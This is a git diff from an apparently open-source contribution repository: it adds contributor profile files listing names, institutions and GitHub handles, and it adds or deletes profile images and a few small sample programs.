100644 index 00000000000..aa7796f7ffd --- /dev/null +++ b/content/participant/utkarshjaulkar.md @@ -0,0 +1,5 @@ +--- +name: Utkarsh Jaulkar +institution/company: Jspm's RSCOE Pune +github: utkarshjaulkar +--- diff --git a/content/participant/uwu.md b/content/participant/uwu.md new file mode 100644 index 00000000000..2cb1c8245ce --- /dev/null +++ b/content/participant/uwu.md @@ -0,0 +1,5 @@ +--- +name: Frederica Bernkastel +institution/company: Institute of Physics and Technology +github:marginaI +--- diff --git a/content/participant/v.md b/content/participant/v.md new file mode 100644 index 00000000000..7d0d45d2301 --- /dev/null +++ b/content/participant/v.md @@ -0,0 +1,5 @@ +--- +name: Vartika Goel +institution/company: Amity University +github: https://github.com/vartikagoel01 +--- diff --git a/content/participant/vaibhavshukla.md b/content/participant/vaibhavshukla.md new file mode 100644 index 00000000000..8cddd67e228 --- /dev/null +++ b/content/participant/vaibhavshukla.md @@ -0,0 +1,3 @@ +Name: vaibhav shukla +institution/company: Kanyapur polytechnic +github: https://github.com/vaibhavshukla06 diff --git a/content/participant/vaishnavitnaik.md b/content/participant/vaishnavitnaik.md new file mode 100644 index 00000000000..d09cc3d283e --- /dev/null +++ b/content/participant/vaishnavitnaik.md @@ -0,0 +1,5 @@ +--- +name: Vaishnavi Naik +institution/company: Dwarkadas J. Sanghvi College of Engineering +github: vaishnavitnaik +--- diff --git a/content/participant/vaishsabu.md b/content/participant/vaishsabu.md new file mode 100644 index 00000000000..5af518f288b --- /dev/null +++ b/content/participant/vaishsabu.md @@ -0,0 +1,5 @@ +--- +name: Vaishnavi Sabarish +institution/company: VIT +github:vaishsabu +--- \ No newline at end of file diff --git a/content/participant/vanshikagoel1.md b/content/participant/vanshikagoel1.md new file mode 100644 index 00000000000..9ec9edb6e74 --- /dev/null +++ b/content/participant/vanshikagoel1.md @@ -0,0 +1,5 @@ +--- +name: Vanshika +institution/company: Banasthali Vidyapith +github: vanshikagoel1 +--- \ No newline at end of file diff --git a/content/participant/varshaah2407.md b/content/participant/varshaah2407.md new file mode 100644 index 00000000000..b923ab65815 --- /dev/null +++ b/content/participant/varshaah2407.md @@ -0,0 +1,5 @@ +--- +Name: Varshaah Shashidhar +institution/company: KJ Somaiya College of Engineering +github: https://github.com/varshaah2407 +--- \ No newline at end of file diff --git a/content/participant/varun17roy.md b/content/participant/varun17roy.md new file mode 100644 index 00000000000..68c3b94c54f --- /dev/null +++ b/content/participant/varun17roy.md @@ -0,0 +1,5 @@ +--- +Name: Varun Roy +Company: StylistMyntra +Github: varun17roy +--- diff --git a/content/participant/vercetti322.md b/content/participant/vercetti322.md new file mode 100644 index 00000000000..0a07959ec9c --- /dev/null +++ b/content/participant/vercetti322.md @@ -0,0 +1,5 @@ +--- +name: Jatin Jindal +institution: BITS Hyderabad +github: vercetti322 +--- \ No newline at end of file diff --git a/content/participant/vetrea.md b/content/participant/vetrea.md new file mode 100644 index 00000000000..f0954401288 --- /dev/null +++ b/content/participant/vetrea.md @@ -0,0 +1,5 @@ +--- +name: Shubham +institution/company: NIT nagpur +github: Vetrea +--- \ No newline at end of file diff --git a/content/participant/vinaypathak.md b/content/participant/vinaypathak.md new file mode 100644 index 00000000000..c640b13fa1a --- /dev/null +++ b/content/participant/vinaypathak.md @@ -0,0 +1,7 @@ +-------------------------------------------------- +Name : Vinay Pathak + +Institution : DIT University + +Github : https://github.com/vinaypathak07 +-------------------------------------------------- diff --git a/content/participant/vinfinity7.md b/content/participant/vinfinity7.md new file mode 100644 index 00000000000..41a794a9b2b --- /dev/null +++ b/content/participant/vinfinity7.md @@ -0,0 +1,5 @@ +--- +Name: Saksham Misra +institution/company: Indian Institute of Technology , BHU +github: https://github.com/vinfinity7 +--- diff --git a/content/participant/vinod_khadka.md b/content/participant/vinod_khadka.md new file mode 100644 index 00000000000..7310e252c9a --- /dev/null +++ b/content/participant/vinod_khadka.md @@ -0,0 +1,5 @@ +--- +name: Vinod Khadka +institution/company: Mumbai University +github: skdotv +--- \ No newline at end of file diff --git a/content/participant/vishaaal.md b/content/participant/vishaaal.md new file mode 100644 index 00000000000..aa2cadce311 --- /dev/null +++ b/content/participant/vishaaal.md @@ -0,0 +1,3 @@ +name: Vishal Kumar +institution/company: UEMK +github: vishaaal \ No newline at end of file diff --git a/content/participant/vishnup2002 b/content/participant/vishnup2002 new file mode 100644 index 00000000000..ba9ea04a890 --- /dev/null +++ b/content/participant/vishnup2002 @@ -0,0 +1,5 @@ +--- +name: Vishnu P +institution: MEC +github: vishnup2002 +--- diff --git a/content/participant/vishveshjain.md b/content/participant/vishveshjain.md new file mode 100644 index 00000000000..857467780ee --- /dev/null +++ b/content/participant/vishveshjain.md @@ -0,0 +1,5 @@ +--- +name:Vishvesh Jain +institution/company: Aptech +github:VishveshJain +--- diff --git a/static/images/images b/content/participant/vivek880490.md similarity index 100% rename from static/images/images rename to content/participant/vivek880490.md diff --git a/content/participant/vivek893.md b/content/participant/vivek893.md new file mode 100644 index 00000000000..750768a807d --- /dev/null +++ b/content/participant/vivek893.md @@ -0,0 +1,5 @@ +-- +name: Vivek pal +institution/company: University Institute of Technology,Burdwan University +github:vivek893 +--- diff --git a/content/participant/vivekPatil45.md b/content/participant/vivekPatil45.md new file mode 100644 index 00000000000..b80bedfd83a --- /dev/null +++ b/content/participant/vivekPatil45.md @@ -0,0 +1,22 @@ +--- +# Vivek Patil + +### Shirpur + +India + +### Academics +- BTech Computer Engineering +### Interests +- Web Devlopeent +- DSA And Problem Solving + + +### Projects + +> +- [Notepad-clone](https://github.com/vivekPatil45/Notepad-clone) +> +### Profile Link + +Go to profile [vivekPatil45](https://github.com/vivekPatil45) diff --git a/content/participant/vixxhesh.md b/content/participant/vixxhesh.md new file mode 100644 index 00000000000..bcbf6246457 --- /dev/null +++ b/content/participant/vixxhesh.md @@ -0,0 +1,3 @@ +name: Vishesh Verma +institution/company: Amity University Noida +github: https://github.com/vixxhesh diff --git a/content/participant/vongrossi.md b/content/participant/vongrossi.md new file mode 100644 index 00000000000..6baa23cfd27 --- /dev/null +++ b/content/participant/vongrossi.md @@ -0,0 +1,5 @@ +--- +name: Angelo Grossi +institution/company: Von Grossi +github:vongrossi +--- \ No newline at end of file diff --git a/content/participant/wawaroutas.md b/content/participant/wawaroutas.md new file mode 100644 index 00000000000..97d190ccb2c --- /dev/null +++ b/content/participant/wawaroutas.md @@ -0,0 +1,5 @@ +--- +name: wawaroutas +institution/company: csd auth gr +github: wawaroutas +--- diff --git a/content/participant/wendell00.md b/content/participant/wendell00.md new file mode 100644 index 00000000000..8ce748c3a15 --- /dev/null +++ b/content/participant/wendell00.md @@ -0,0 +1,5 @@ +--- +name: wendell +institution/company: offertech +github: wendell00 +--- diff --git a/content/participant/whodef.md b/content/participant/whodef.md new file mode 100644 index 00000000000..52607400536 --- /dev/null +++ b/content/participant/whodef.md @@ -0,0 +1,7 @@ +name: Tatiana Seliuk + +username: whodef + +github: https://github.com/whodef + +linkedin: https://www.linkedin.com/in/tatiana-seliuk/ diff --git a/content/participant/whyanujjwhy b/content/participant/whyanujjwhy new file mode 100644 index 00000000000..5e99fccdfe8 --- /dev/null +++ b/content/participant/whyanujjwhy @@ -0,0 +1,5 @@ +--- +name: Anuj Singh Kushwaha +institution/company: NIT Calicut +github: whyanujjwhy +--- diff --git a/content/participant/wolfcito.md b/content/participant/wolfcito.md new file mode 100644 index 00000000000..317eac33fc4 --- /dev/null +++ b/content/participant/wolfcito.md @@ -0,0 +1,5 @@ +--- +name: Luis Fernando +institution/company: MundoVirtual +github:wolfcito +--- diff --git a/content/participant/xandowski.md b/content/participant/xandowski.md new file mode 100644 index 00000000000..f9c589069b5 --- /dev/null +++ b/content/participant/xandowski.md @@ -0,0 +1,5 @@ +--- +name: Alexandre Morais +institution/company: FATEC Taquaritinga, Brazil +github:xandowski +--- \ No newline at end of file diff --git a/content/participant/xklbr.md b/content/participant/xklbr.md new file mode 100644 index 00000000000..e99ac813f88 --- /dev/null +++ b/content/participant/xklbr.md @@ -0,0 +1,5 @@ +--- +name: Arthur Hendrix +institution/company: MIT +github: xklbr +--- diff --git a/content/participant/yanayir.md b/content/participant/yanayir.md new file mode 100644 index 00000000000..f2a373d438e --- /dev/null +++ b/content/participant/yanayir.md @@ -0,0 +1,5 @@ +--- +name: Yanayir Rifai +institution/company: Gadjah Mada University +github: yanayir +--- \ No newline at end of file diff --git a/content/participant/yash.md b/content/participant/yash.md new file mode 100644 index 00000000000..b96a39bfd1a --- /dev/null +++ b/content/participant/yash.md @@ -0,0 +1,3 @@ +Name : Yash Adake +Institution : DKTE, Ichalkaranji +github : https://github.com/YashAdake \ No newline at end of file diff --git a/content/participant/yash18082002.md b/content/participant/yash18082002.md new file mode 100644 index 00000000000..0068b58835a --- /dev/null +++ b/content/participant/yash18082002.md @@ -0,0 +1,5 @@ +--- +name: YASH AGARWAL +institution/company: KIIT +github: yash18082002 +--- \ No newline at end of file diff --git a/content/participant/yashkondewar.md b/content/participant/yashkondewar.md new file mode 100644 index 00000000000..d478538a7b6 --- /dev/null +++ b/content/participant/yashkondewar.md @@ -0,0 +1,6 @@ +--- +name: Yash Kondewar +institution/company: +Shri Guru Gobind Singh ji Institute of Engineering and Technology Nanded +github: yashkondewar +--- \ No newline at end of file diff --git a/content/participant/yashsajwan.md b/content/participant/yashsajwan.md new file mode 100644 index 00000000000..19f8cc24c6b --- /dev/null +++ b/content/participant/yashsajwan.md @@ -0,0 +1,5 @@ +--- +name: Yash Sajwan +institution/company: Guru Gobind Singh Indraprastha University, New Delhi +github: Yash-Sajwan24 +--- diff --git a/content/participant/yathu.md b/content/participant/yathu.md new file mode 100644 index 00000000000..c1ff0c0cc13 --- /dev/null +++ b/content/participant/yathu.md @@ -0,0 +1,5 @@ +--- +name: Kandeepan Yathuraj +institution/company: Sabraragamuwa University +github: yathu1 +--- \ No newline at end of file diff --git a/content/participant/yeskaydee.md b/content/participant/yeskaydee.md new file mode 100644 index 00000000000..b20772792a0 --- /dev/null +++ b/content/participant/yeskaydee.md @@ -0,0 +1,3 @@ +Santosh Kumar Doodala +B.Tech CSE student +First contribution diff --git a/content/participant/yolakshya19.md b/content/participant/yolakshya19.md new file mode 100644 index 00000000000..28c85853fc4 --- /dev/null +++ b/content/participant/yolakshya19.md @@ -0,0 +1,5 @@ +--- +name: Lakshya Dhawan +institution/company: ABES Engineering College +github: yolakshya19 +--- diff --git a/content/participant/yusra05.md b/content/participant/yusra05.md new file mode 100644 index 00000000000..dde5878bb7a --- /dev/null +++ b/content/participant/yusra05.md @@ -0,0 +1,5 @@ +--- +name: Yusra +institution/company: Delhi University +github: yusra05 +--- \ No newline at end of file diff --git a/content/participant/zetabug.md b/content/participant/zetabug.md new file mode 100644 index 00000000000..c41773673a5 --- /dev/null +++ b/content/participant/zetabug.md @@ -0,0 +1,5 @@ +--- +name: Ranvir singh +institution/company: St.Xavier's college,Jaipur +github:zetabug +--- diff --git a/content/participant/zindaadmi.md b/content/participant/zindaadmi.md new file mode 100644 index 00000000000..f108975d5b7 --- /dev/null +++ b/content/participant/zindaadmi.md @@ -0,0 +1,5 @@ +--- +name: Nikhil Parakh +institution/company: Mpokket +github:zindaadmi +--- diff --git a/content/participant/zuzexx.md b/content/participant/zuzexx.md index 66659537084..2a53cf30361 100644 --- a/content/participant/zuzexx.md +++ b/content/participant/zuzexx.md @@ -1,5 +1,5 @@ ---- -name: Tjasa -institution/company: Freelance -github:Zuzexx ---- +--- +name: Tjasa +institution/company: Freelance +github:Zuzexx +--- diff --git a/decision_tree_classifier.py b/decision_tree_classifier.py deleted file mode 100644 index d37c1f46d5d..00000000000 --- a/decision_tree_classifier.py +++ /dev/null @@ -1,75 +0,0 @@ -# -*- coding: utf-8 -*- -"""Decision Tree Classifier.ipynb - -Automatically generated by Colaboratory. - -Original file is located at - https://colab.research.google.com/drive/1XMHw2uUKMBp94AlHw_VkCIbd3VLYJrxP - -# **Building a Decision Tree Classifier to classify different flowers** - -### Author:Harshdeep Singh Narula - -Importing Libraries -""" - -import pandas as pd -import numpy as np -import matplotlib.pyplot as plt - -"""Importing Datasets""" - -data=pd.read_csv("Iris.csv") -data - -data.columns - -a=np.array(df['PetalLengthCm']) -np.mean(a) - -df=data[['SepalLengthCm','SepalWidthCm','PetalLengthCm','PetalWidthCm']] -df - -Y=data["Species"] -Y - -from sklearn.preprocessing import LabelEncoder -le = LabelEncoder() -y = le.fit_transform(Y) -y - -type(y) - -type(df) - -"""Model Fitting""" - -from sklearn.tree import DecisionTreeClassifier -dtc=DecisionTreeClassifier() -dtc.fit(df,y) - -!pip install pydotplus -!pip install graphviz -!pip install six - -"""Visualising the Decision Tree""" - -from six import StringIO -from IPython.display import Image -from sklearn.tree import export_graphviz -import pydotplus - -dot_data = StringIO() -export_graphviz(dtc, out_file=dot_data, - feature_names=['SepalLengthCm','SepalWidthCm', - 'PetalLengthCm','PetalWidthCm'], - filled=True, rounded=True, - special_characters=True) -graph = pydotplus.graph_from_dot_data(dot_data.getvalue()) -Image(graph.create_png()) - -dtc.predict([[5.1,3.5,1.4,0.2],[6.3,2.5,5.0,1.9], -[6.5,3.0,5.2,2.0], -[6.2,3.4,5.4,2.3], -[5.9,3.0,5.1,1.8]]) - diff --git a/sample1.cpp b/sample1.cpp deleted file mode 100644 index 974a32e8fe2..00000000000 --- a/sample1.cpp +++ /dev/null @@ -1,23 +0,0 @@ -#include -using namespace std; - -int main() { - long long mysol; - cin>>mysol; - while (mysol--) - { - long long n,x; - cin>>n>>x; - - if(n>x) - { - if((n-x)%4==0) - cout<<(n-x)/4< -void swap(int *a,int *b) -{ - int temp=*a; - *a=*b; - *b=temp; -} -void selectionSort(int a[],int n) -{ - int i,j,min; - for (i=0;i Heading +- [Netflix-gpt](https://github.com/ritikchhipa01/netflix-gpt) +- [portfolio](https://github.com/ritikchhipa01/PORTFOLIO-RITIK-CHHIPA) +> +### Profile Link + +Go to profile [ritikchhipa01](https://github.com/ritikchhipa01/) diff --git a/static/images/content/participant/sarthakroy2002.md b/static/images/content/participant/sarthakroy2002.md new file mode 100644 index 00000000000..64b65767601 --- /dev/null +++ b/static/images/content/participant/sarthakroy2002.md @@ -0,0 +1,3 @@ +name: Sarthak Roy +institution: Vellore Institute of Technology, Chennai +github: sarthakroy2002 diff --git a/static/images/content/participant/surajpatil.md b/static/images/content/participant/surajpatil.md new file mode 100644 index 00000000000..44e67fe15d1 --- /dev/null +++ b/static/images/content/participant/surajpatil.md @@ -0,0 +1 @@ +Name: Suraj Patil institution: St. John College of Engineering & Management, Palghar github: SURAJPATIL6088 diff --git a/static/images/cygnu7.jpg b/static/images/cygnu7.jpg deleted file mode 100644 index 5547a992411..00000000000 Binary files a/static/images/cygnu7.jpg and /dev/null differ diff --git a/static/images/dani0105.png b/static/images/dani0105.png deleted file mode 100644 index 72304c95ddc..00000000000 Binary files a/static/images/dani0105.png and /dev/null differ diff --git a/static/images/danishulhassan7.png b/static/images/danishulhassan7.png deleted file mode 100644 index d164b51f780..00000000000 Binary files a/static/images/danishulhassan7.png and /dev/null differ diff --git a/static/images/dapineda.jpg b/static/images/dapineda.jpg deleted file mode 100644 index 2df7922f896..00000000000 Binary files a/static/images/dapineda.jpg and /dev/null differ diff --git a/static/images/debjitpurohit.jpg b/static/images/debjitpurohit.jpg deleted file mode 100644 index 7286f300944..00000000000 Binary files a/static/images/debjitpurohit.jpg and /dev/null differ diff --git a/static/images/deepak0byte.jpg b/static/images/deepak0byte.jpg deleted file mode 100644 index 8d6279f3ffc..00000000000 Binary files a/static/images/deepak0byte.jpg and /dev/null differ diff --git a/static/images/designerSJ75.png b/static/images/designerSJ75.png deleted file mode 100644 index 3a6d6e94bc4..00000000000 Binary files a/static/images/designerSJ75.png and /dev/null differ diff --git a/static/images/dev1abhi.png b/static/images/dev1abhi.png new file mode 100644 index 00000000000..0671fd7da30 Binary files /dev/null and b/static/images/dev1abhi.png differ diff --git a/static/images/devansh.png b/static/images/devansh.png deleted file mode 100644 index a2b382e337c..00000000000 Binary files a/static/images/devansh.png and /dev/null differ diff --git a/static/images/deveshparmar.png b/static/images/deveshparmar.png deleted file mode 100644 index 89cc6afe6f1..00000000000 Binary files a/static/images/deveshparmar.png and /dev/null differ diff --git a/static/images/devnarayanp02.jpg b/static/images/devnarayanp02.jpg deleted file mode 100644 index 24ee7489543..00000000000 Binary files a/static/images/devnarayanp02.jpg and /dev/null differ diff --git a/static/images/devyank.jpeg b/static/images/devyank.jpeg deleted file mode 100644 index 9549a5f8861..00000000000 Binary files a/static/images/devyank.jpeg and /dev/null differ diff --git a/static/images/dhruvaop.png b/static/images/dhruvaop.png deleted file mode 100644 index 167119b3a28..00000000000 Binary files a/static/images/dhruvaop.png and /dev/null differ diff --git a/static/images/digital art wallpaperflare (51).jpg b/static/images/digital art wallpaperflare (51).jpg deleted file mode 100644 index ef553cab5ad..00000000000 Binary files a/static/images/digital art wallpaperflare (51).jpg and /dev/null differ diff --git a/static/images/dip14-j.png b/static/images/dip14-j.png deleted file mode 100644 index 8b137891791..00000000000 --- a/static/images/dip14-j.png +++ /dev/null @@ -1 +0,0 @@ - diff --git a/static/images/dipuchaudhary.jpg b/static/images/dipuchaudhary.jpg new file mode 100755 index 00000000000..0610c7aae6b Binary files /dev/null and b/static/images/dipuchaudhary.jpg differ diff --git a/static/images/dirgaastya.png b/static/images/dirgaastya.png deleted file mode 100644 index 04c9c84d7a4..00000000000 Binary files a/static/images/dirgaastya.png and /dev/null differ diff --git a/static/images/dishank.png b/static/images/dishank.png deleted file mode 100644 index b1754df5f78..00000000000 Binary files a/static/images/dishank.png and /dev/null differ diff --git a/static/images/divasgt.png b/static/images/divasgt.png deleted file mode 100644 index c4e3e8e62de..00000000000 Binary files a/static/images/divasgt.png and /dev/null differ diff --git a/static/images/divs14.jpg b/static/images/divs14.jpg deleted file mode 100644 index eafd299d416..00000000000 Binary files a/static/images/divs14.jpg and /dev/null differ diff --git a/static/images/divya.jpeg b/static/images/divya.jpeg deleted file mode 100644 index e1668bd5772..00000000000 Binary files a/static/images/divya.jpeg and /dev/null differ diff --git a/static/images/download.jpg b/static/images/download.jpg index 589efe27912..3ebbef6cc7f 100644 Binary files a/static/images/download.jpg and b/static/images/download.jpg differ diff --git a/static/images/download.png b/static/images/download.png deleted file mode 100644 index ad465e6d421..00000000000 Binary files a/static/images/download.png and /dev/null differ diff --git a/static/images/dp.jpeg b/static/images/dp.jpeg deleted file mode 100644 index 8befa69650b..00000000000 Binary files a/static/images/dp.jpeg and /dev/null differ diff --git a/static/images/dp.jpg b/static/images/dp.jpg deleted file mode 100644 index 134dea7ab86..00000000000 Binary files a/static/images/dp.jpg and /dev/null differ diff --git a/static/images/dp.png b/static/images/dp.png deleted file mode 100644 index 701a2c4c928..00000000000 Binary files a/static/images/dp.png and /dev/null differ diff --git a/static/images/dsuvam092 b/static/images/dsuvam092 new file mode 100644 index 00000000000..b2b0affa052 --- /dev/null +++ b/static/images/dsuvam092 @@ -0,0 +1 @@ +https://github.com/ossamamehmood/Hacktoberfest2023/pull/4502#pullrequestreview-1651827146 diff --git a/static/images/duplixx.jpg b/static/images/duplixx.jpg deleted file mode 100644 index 4756392a80c..00000000000 Binary files a/static/images/duplixx.jpg and /dev/null differ diff --git a/static/images/duythien0912.jpeg b/static/images/duythien0912.jpeg deleted file mode 100644 index c2691f57fe8..00000000000 Binary files a/static/images/duythien0912.jpeg and /dev/null differ diff --git a/static/images/dwongdev.png b/static/images/dwongdev.png deleted file mode 100644 index 5637df2a8a2..00000000000 Binary files a/static/images/dwongdev.png and /dev/null differ diff --git a/static/images/eagle.jpg b/static/images/eagle.jpg deleted file mode 100644 index 472d7205646..00000000000 Binary files a/static/images/eagle.jpg and /dev/null differ diff --git a/static/images/eerfunn-profile-pic.png b/static/images/eerfunn-profile-pic.png deleted file mode 100644 index 7237936269b..00000000000 Binary files a/static/images/eerfunn-profile-pic.png and /dev/null differ diff --git a/static/images/ericeladio.jpeg b/static/images/ericeladio.jpeg deleted file mode 100644 index 57fd186c19b..00000000000 Binary files a/static/images/ericeladio.jpeg and /dev/null differ diff --git a/static/images/eu.jpeg b/static/images/eu.jpeg deleted file mode 100644 index 6e0fda5882d..00000000000 Binary files a/static/images/eu.jpeg and /dev/null differ diff --git a/static/images/executionBeast.png b/static/images/executionBeast.png deleted file mode 100644 index 5741f9b9dbc..00000000000 Binary files a/static/images/executionBeast.png and /dev/null differ diff --git a/static/images/exithere.jpg b/static/images/exithere.jpg deleted file mode 100644 index 894fc658025..00000000000 Binary files a/static/images/exithere.jpg and /dev/null differ diff --git a/static/images/f88083.jpeg b/static/images/f88083.jpeg new file mode 100644 index 00000000000..294436372eb Binary files /dev/null and b/static/images/f88083.jpeg differ diff --git a/static/images/faeez.jpg b/static/images/faeez.jpg deleted file mode 100644 index 5964d4714eb..00000000000 Binary files a/static/images/faeez.jpg and /dev/null differ diff --git a/static/images/fahriztx.jpg b/static/images/fahriztx.jpg deleted file mode 100644 index de358880a6a..00000000000 Binary files a/static/images/fahriztx.jpg and /dev/null differ diff --git a/static/images/fanchann.png b/static/images/fanchann.png deleted file mode 100644 index 10416b5a416..00000000000 Binary files a/static/images/fanchann.png and /dev/null differ diff --git a/static/images/fav. pic.jpeg b/static/images/fav. pic.jpeg deleted file mode 100644 index b00407df5a5..00000000000 Binary files a/static/images/fav. pic.jpeg and /dev/null differ diff --git a/static/images/fenixhub.jpg b/static/images/fenixhub.jpg deleted file mode 100644 index 6c98db00d89..00000000000 Binary files a/static/images/fenixhub.jpg and /dev/null differ diff --git a/static/images/fikriks.png b/static/images/fikriks.png deleted file mode 100644 index 94c45b25555..00000000000 Binary files a/static/images/fikriks.png and /dev/null differ diff --git a/static/images/fiqgant.png b/static/images/fiqgant.png deleted file mode 100644 index f1188647d65..00000000000 Binary files a/static/images/fiqgant.png and /dev/null differ diff --git a/static/images/firejoust.png b/static/images/firejoust.png deleted file mode 100644 index f47a73da876..00000000000 Binary files a/static/images/firejoust.png and /dev/null differ diff --git a/static/images/flcl.jpg b/static/images/flcl.jpg deleted file mode 100644 index c59e1c784ea..00000000000 Binary files a/static/images/flcl.jpg and /dev/null differ diff --git a/static/images/forno.jfif b/static/images/forno.jfif deleted file mode 100644 index 2176a399ae2..00000000000 Binary files a/static/images/forno.jfif and /dev/null differ diff --git a/static/images/ft.jpeg b/static/images/ft.jpeg deleted file mode 100644 index 9c60890c232..00000000000 Binary files a/static/images/ft.jpeg and /dev/null differ diff --git a/static/images/gandastik-pfp.jpg b/static/images/gandastik-pfp.jpg deleted file mode 100644 index 824b29e0554..00000000000 Binary files a/static/images/gandastik-pfp.jpg and /dev/null differ diff --git a/static/images/gauravw66.jpg b/static/images/gauravw66.jpg new file mode 100644 index 00000000000..8350b55b684 Binary files /dev/null and b/static/images/gauravw66.jpg differ diff --git a/static/images/ginger.png b/static/images/ginger.png deleted file mode 100644 index 2c17e7849f5..00000000000 Binary files a/static/images/ginger.png and /dev/null differ diff --git a/static/images/git-dibwar.png b/static/images/git-dibwar.png deleted file mode 100644 index 4d70b456f7b..00000000000 Binary files a/static/images/git-dibwar.png and /dev/null differ diff --git a/static/images/github_avatar.png b/static/images/github_avatar.png new file mode 100644 index 00000000000..ae509a1d793 Binary files /dev/null and b/static/images/github_avatar.png differ diff --git a/static/images/github_profile.png b/static/images/github_profile.png deleted file mode 100644 index bc3e7c851ae..00000000000 Binary files a/static/images/github_profile.png and /dev/null differ diff --git a/static/images/gitpng.png b/static/images/gitpng.png deleted file mode 100644 index fbaf2e45168..00000000000 Binary files a/static/images/gitpng.png and /dev/null differ diff --git a/static/images/godzilla.png b/static/images/godzilla.png deleted file mode 100644 index ab6740604b4..00000000000 Binary files a/static/images/godzilla.png and /dev/null differ diff --git a/static/images/gojo.jpg b/static/images/gojo.jpg deleted file mode 100644 index 6c0ec362dff..00000000000 Binary files a/static/images/gojo.jpg and /dev/null differ diff --git a/static/images/golden_retriever.jpg b/static/images/golden_retriever.jpg deleted file mode 100644 index cc05928dcb7..00000000000 Binary files a/static/images/golden_retriever.jpg and /dev/null differ diff --git a/static/images/golu7679.jpeg b/static/images/golu7679.jpeg deleted file mode 100644 index 3c1b3a97ca8..00000000000 Binary files a/static/images/golu7679.jpeg and /dev/null differ diff --git a/static/images/gouravchawla334.jpg b/static/images/gouravchawla334.jpg deleted file mode 100644 index 6c247ed5ae0..00000000000 Binary files a/static/images/gouravchawla334.jpg and /dev/null differ diff --git a/static/images/gusta-alves.jpg b/static/images/gusta-alves.jpg deleted file mode 100644 index 405063f05fd..00000000000 Binary files a/static/images/gusta-alves.jpg and /dev/null differ diff --git a/static/images/gustavo.jpg b/static/images/gustavo.jpg deleted file mode 100644 index 8f9e637ec34..00000000000 Binary files a/static/images/gustavo.jpg and /dev/null differ diff --git a/static/images/handhikayp.jpg b/static/images/handhikayp.jpg deleted file mode 100644 index 655edba565b..00000000000 Binary files a/static/images/handhikayp.jpg and /dev/null differ diff --git a/static/images/hardik17771.jpg b/static/images/hardik17771.jpg deleted file mode 100644 index dd3458cae90..00000000000 Binary files a/static/images/hardik17771.jpg and /dev/null differ diff --git a/static/images/haris-bit.png b/static/images/haris-bit.png deleted file mode 100644 index 5db429cd616..00000000000 Binary files a/static/images/haris-bit.png and /dev/null differ diff --git a/static/images/harpreet.jpg b/static/images/harpreet.jpg deleted file mode 100644 index 91fb336609e..00000000000 Binary files a/static/images/harpreet.jpg and /dev/null differ diff --git a/static/images/harsh1x4.png b/static/images/harsh1x4.png deleted file mode 100644 index 17ec4b51cbb..00000000000 Binary files a/static/images/harsh1x4.png and /dev/null differ diff --git a/static/images/harshhgithub.jpeg b/static/images/harshhgithub.jpeg new file mode 100644 index 00000000000..4201881a011 Binary files /dev/null and b/static/images/harshhgithub.jpeg differ diff --git a/static/images/harshit-maheshwari.jpg b/static/images/harshit-maheshwari.jpg deleted file mode 100644 index 092cb63b592..00000000000 Binary files a/static/images/harshit-maheshwari.jpg and /dev/null differ diff --git a/static/images/harshitpachori.png b/static/images/harshitpachori.png deleted file mode 100644 index 99b17dbf97d..00000000000 Binary files a/static/images/harshitpachori.png and /dev/null differ diff --git a/static/images/harshkumar0077.jpeg b/static/images/harshkumar0077.jpeg new file mode 100644 index 00000000000..33325d0fba3 Binary files /dev/null and b/static/images/harshkumar0077.jpeg differ diff --git a/static/images/harshraj305.png b/static/images/harshraj305.png deleted file mode 100644 index b17056f9e9d..00000000000 Binary files a/static/images/harshraj305.png and /dev/null differ diff --git a/static/images/henrychase-linux.png b/static/images/henrychase-linux.png deleted file mode 100644 index bfd7d0585e8..00000000000 Binary files a/static/images/henrychase-linux.png and /dev/null differ diff --git a/static/images/heyhimansh.jpg b/static/images/heyhimansh.jpg deleted file mode 100644 index 2c2a953f0ec..00000000000 Binary files a/static/images/heyhimansh.jpg and /dev/null differ diff --git a/static/images/hidayahhtaaufik.jpeg b/static/images/hidayahhtaaufik.jpeg deleted file mode 100644 index e3369773d77..00000000000 Binary files a/static/images/hidayahhtaaufik.jpeg and /dev/null differ diff --git a/static/images/him2016.png b/static/images/him2016.png deleted file mode 100644 index 30e34e80b1f..00000000000 Binary files a/static/images/him2016.png and /dev/null differ diff --git a/static/images/himanshu-thakur-7.jpeg b/static/images/himanshu-thakur-7.jpeg deleted file mode 100644 index bf8d4ef27e8..00000000000 Binary files a/static/images/himanshu-thakur-7.jpeg and /dev/null differ diff --git a/static/images/hinedy.jpg b/static/images/hinedy.jpg deleted file mode 100644 index bb30e2b326f..00000000000 Binary files a/static/images/hinedy.jpg and /dev/null differ diff --git a/static/images/hitarthraval.png b/static/images/hitarthraval.png deleted file mode 100644 index cfbb020880d..00000000000 Binary files a/static/images/hitarthraval.png and /dev/null differ diff --git a/static/images/hparihar-07.png b/static/images/hparihar-07.png new file mode 100644 index 00000000000..6302fd204fa Binary files /dev/null and b/static/images/hparihar-07.png differ diff --git a/static/images/hrishikesh-g.png b/static/images/hrishikesh-g.png deleted file mode 100644 index 5e0b2913399..00000000000 Binary files a/static/images/hrishikesh-g.png and /dev/null differ diff --git a/static/images/hussain6.jpg b/static/images/hussain6.jpg deleted file mode 100644 index 46f95fe5925..00000000000 Binary files a/static/images/hussain6.jpg and /dev/null differ diff --git a/static/images/hussainiftikhar5242.png b/static/images/hussainiftikhar5242.png deleted file mode 100644 index c427fcb740c..00000000000 Binary files a/static/images/hussainiftikhar5242.png and /dev/null differ diff --git a/static/images/iabhaychandel.md b/static/images/iabhaychandel.md deleted file mode 100644 index 2d0a4f3e9e8..00000000000 --- a/static/images/iabhaychandel.md +++ /dev/null @@ -1 +0,0 @@ -![1626724730869](https://user-images.githubusercontent.com/76030020/194015186-3bd2b8ae-64f2-4c35-9c95-5b4b33901c14.jpg) diff --git a/static/images/ialexanderbrito.jpg b/static/images/ialexanderbrito.jpg deleted file mode 100644 index b3f3917c25f..00000000000 Binary files a/static/images/ialexanderbrito.jpg and /dev/null differ diff --git a/static/images/iamjatinyadav.jpeg b/static/images/iamjatinyadav.jpeg deleted file mode 100644 index 8a7066a0ce0..00000000000 Binary files a/static/images/iamjatinyadav.jpeg and /dev/null differ diff --git a/static/images/iamsandipanbera.jpg b/static/images/iamsandipanbera.jpg deleted file mode 100644 index cf2cb4bb933..00000000000 Binary files a/static/images/iamsandipanbera.jpg and /dev/null differ diff --git a/static/images/icons8-sad-sun-32.png b/static/images/icons8-sad-sun-32.png new file mode 100644 index 00000000000..68fb3eadb71 Binary files /dev/null and b/static/images/icons8-sad-sun-32.png differ diff --git a/static/images/image_viewer.jpeg b/static/images/image_viewer.jpeg deleted file mode 100644 index b4a257b2651..00000000000 Binary files a/static/images/image_viewer.jpeg and /dev/null differ diff 